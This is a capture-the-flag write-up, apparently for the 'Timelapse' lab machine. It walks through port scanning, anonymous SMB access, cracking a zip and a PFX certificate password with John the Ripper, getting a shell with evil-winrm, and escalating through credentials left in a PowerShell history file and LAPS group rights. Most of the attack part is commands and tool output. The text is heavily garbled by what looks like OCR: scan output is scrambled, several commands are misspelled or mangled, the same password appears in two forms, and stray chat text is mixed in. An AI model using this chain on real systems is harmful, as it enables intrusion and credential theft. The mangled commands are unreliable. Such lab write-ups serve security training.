Information Gathering

1) Found open ports

```
(vigneswar® VigneswarPC)-[~/pki]
$ tepscan 10.10.11.152
Starting Nmap 7.945VN ( https://nmap.org ) at 2024-07-03 13:09 IST
Nmap scan report for 10.10.11.152
Host is up (0.21s latency).
Not shown: 65518 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE VERSION
53/tcp
                                                                                              Simple DNS Plus
                           open domain
88/tcp
135/tcp
139/tcp
                                                                                              Microsoft Windows Kerberos (server time: 2024-07-03 15:42:01Z)
Microsoft Windows RPC
Microsoft Windows netbios-ssn
                           open
                                          kerberos-sec
                                         msrpc
netbios-ssn
                           open
                           open
389/tcp
445/tcp
464/tcp
                                            ldap
                                                                                              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
                           open
                                          microsoft-ds?
                           open
                                          kpasswd5?
                           open
 593/tcp
                                                                                              Microsoft Windows RPC over HTTP 1.0
                           open
                                           ncacn_http
636/tcp
3268/tcp
                           open
                                            ldapssl?
636/tcp open ldapss!?
3268/tcp open ldap Microsoft Windows
3269/tcp open globalcatLDAPssl?
5986/tcp open ssl/http Microsoft HTTPAP!
|_http-title: Not Found |
| ssl-cert: Subject: commonName=dc01.timelapse.htb |
| Not valid before: 2021-10-25T14:05:29 |
| Not valid after: 2022-10-25T14:25:29 |
| Not valid after: WITTAPAPS |
                                                                                             Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
                                                                                              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
   _http-server-header: Microsoft-HTTPAPI/2.0
tls-alpn:
_ http/1.1
     . netp1.1

ssl-date: 2024-07-03T15:43:33+00:00; +7h59m59s from scanner time.

189/tcp open mc-nmf .NET Message Framing

1667/tcp open msrpc Microsoft Windows RPC

1673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
9389/tcp open mc-nmf
49667/tcp open msrpc
 49673/tcp open ncacn_http
49674/tcp open msrpc
49742/tcp open msrpc
                                                                                             Microsoft Windows RPC
Microsoft Windows RPC
49742/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
 Host script results:
     smb2-security-mode:
          3:1:1:
                Message signing enabled and required
```

Ldap Port 3268

SMB Port 445

1) Found open SMB shares

```
·(vigneswar&VigneswarPC)-[~/pki]
  -$ smbclient -N
Try "help" to get a list of possible commands.
smb: \> ls
                                                  Mon Oct 25 21:09:15 2021
Mon Oct 25 21:09:15 2021
                                                0
                                       D
                                                0
  Dev
                                                  Tue Oct 26 01:10:06 2021
  HelpDesk
                                       D
                                                0 Mon Oct 25 21:18:42 2021
                6367231 blocks of size 4096. 1277694 blocks available
smb: \> cd Dev
smb: \Dev\> ls
                                       D
                                                0
                                                   Tue Oct 26 01:10:06 2021
                                                   Tue Oct 26 01:10:06 2021
                                       D
                                                0
                                             2611 Mon Oct 25 21:16:42 2021
  winrm_backup.zip
                6367231 blocks of size 4096. 1275227 blocks available
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (1.8 KiloBytes/sec) (average 1.8 KiloBytes/sec)
smb: \Dev\> cd ..
smb: \> cd HelpDesk
smb: \HelpDesk\> ls
                                       D
                                                0
                                                   Mon Oct 25 21:18:42 2021
                                                  Mon Oct 25 21:18:42 2021
                                               0
 LAPS.x64.msi
                                       Α
                                         1118208
                                                  Mon Oct 25 20:27:50 2021
                                          104422 Mon Oct 25 20:27:46 2021
  LAPS_Datasheet.docx
  LAPS_OperationsGuide.docx
                                           641378 Mon Oct 25 20:27:40 2021
  LAPS_TechnicalSpecification.docx
                                              72683 Mon Oct 25 20:27:44 2021
                6367231 blocks of size 4096. 1272440 blocks available
smb: \HelpDesk\>
```

Vulnerability Assessment

1) Cracked the zip password

A PFX file, or Personal Information Exchange file, is a binary file that contains multiple cryptographic components, such as private keys, public keys, and digital certificates. It's a password-protected certificate in PKCS#12 format that prioritizes security by using encryption and self-password protection mechanisms.

2) cracked the password of pfx

```
(vigneswar vigneswarPC)-[~/pki]
$ pfx2john legacyy_dev_auth.pfx > hash

(vigneswar vigneswarPC)-[~/pki]
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:00:46 DONE (2024-07-03 13:29) 0.02139g/s 69157p/s 69157c/s 69157C/s thumper199..thscndsp1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Now we can use this to login into system

Exploitation

1) Generated public and private keys



Evil-WinRM uses the Windows Management Instrumentation (WMI) to give you an interactive shell on the Windows host. Winrm Supports PKINIT, meaning if you have a computers PFX file, you can authenticate and get a shell. Note that the command requires a public and a private key in PEM format, that can be extracted by converting the PFX to PEM format. Take a look at the references for more info on that. Password protected PFX files can be cracked with JohnTheRipper.

Command Reference:

```
Target IP: 10.10.10.1

PFX File: cert.pfx

Domain: EVILCORP

Command:

evil-winrm -i 10.10.10.1 -c pub.pem -k priv.pem -5 -r EVILCORP
```

References:

https://github.com/Hackplayers/evil-winrm

https://book.hacktricks.xyz/cryptography/certificates

2) Connected with winrm

```
(vigneswar@VigneswarPC)-[~/pki]
$ openssl pkcs12 -in legacyy_dev_auth.pfx -out outkey.pem -nodes
Enter Import Password:

(vigneswar@VigneswarPC)-[~/pki] nswer
$ content in 10.10.11.152 -u dev -p thuglegacy -k outkey.pem -c outkey.pem -S

Evil-WinRM shell v3.5

Warning: SSL enabled

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With Opensst

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> | with opensst

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> | with opensst

TEAMS

You can't derive the private key from a certificate. That would make the whole thing quite pointless, wouldn't if?

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Privilege Escalation

1) Found a credentials in history file

```
*Evil-WinRM* PS C:\Users\legacyy\AppData\Local\Microsoft\Windows\PowerShell> cat $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx t whoami ipconfig /all netstat -ano |select-string LIST $so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck $p = ConvertTo-SecureString 'E3R$Q62^127PL\C%KWaxuaV' -AsPlainText -Force $c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p) invoke-command -computername localhost -credential $c -port 5986 -usessl - SessionOption $so -scriptblock {whoami} get-aduser -filter * -properties * exit *Evil-WinRM* PS C:\Users\legacyy\AppData\Local\Microsoft\Windows\PowerShell>
```

```
—(vigneswar⊕VigneswarPC)-[~/pki]
-$ evil-winrm -i 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
 Warning: SSL enabled
                                      PS C:\Users\svc_deploy\Documents> whoami /priv
 PRIVILEGES INFORMATION
Privilege Name
                                                                                                                                                                                      State
                                                                                         Description
 SeMachineAccountPrivilege
SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /groups
 GROUP INFORMATION
 Group Name
                                                                                                                                   Type
                                                                                                                                                                                      S-1-1-0
S-1-1-0
Mandatory group, Enabled by default, Enabled group
S-1-5-32-580
Mandatory group, Enabled by default, Enabled group
S-1-5-32-554
Mandatory group, Enabled by default, Enabled group
S-1-5-2
Mandatory group, Enabled by default, Enabled group
S-1-5-15
Mandatory group, Enabled by default, Enabled group
S-1-5-15
Mandatory group, Enabled by default, Enabled group
S-1-5-2-1671920749-559770252-3318990721-2601
Mandatory group, Enabled by default, Enabled group
S-1-5-64-10
S-1-16-84448
Mandatory group, Enabled by default, Enabled group
                                                                                                                                 Well-known group S-1-5-0
Alias S-1-5-32-545
Alias S-1-5-32-554
Well-known group S-1-5-12
Well-known group S-1-5-11
Well-known group S-1-5-15
Everyone
BUILTIN\Remote Management Users
BUILTIN\Users
BUILTIN\Users
BUILTIN\Pre-Windows 2000 Compatible Access
NT AUTHORITY\NETWORK
NIT AUTHORITY\NETWORK Well-H
NT AUTHORITY\This Organization Well-H
NT AUTHORITY\This Organization Well-H
TIMELAPSE\LAPS_Readers Group
NT AUTHORITY\NTM Authentication Well-H
Mandatory Label\Medium Plus Mandatory Level Label
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>
                                                                                                                                   Group
Well-known group
                                                                                                                                                                                      S-1-16-8448
```

2) Members of LAPS_Readers can read the rotated password by LAPS (Local administrator password solution)

3) Got root access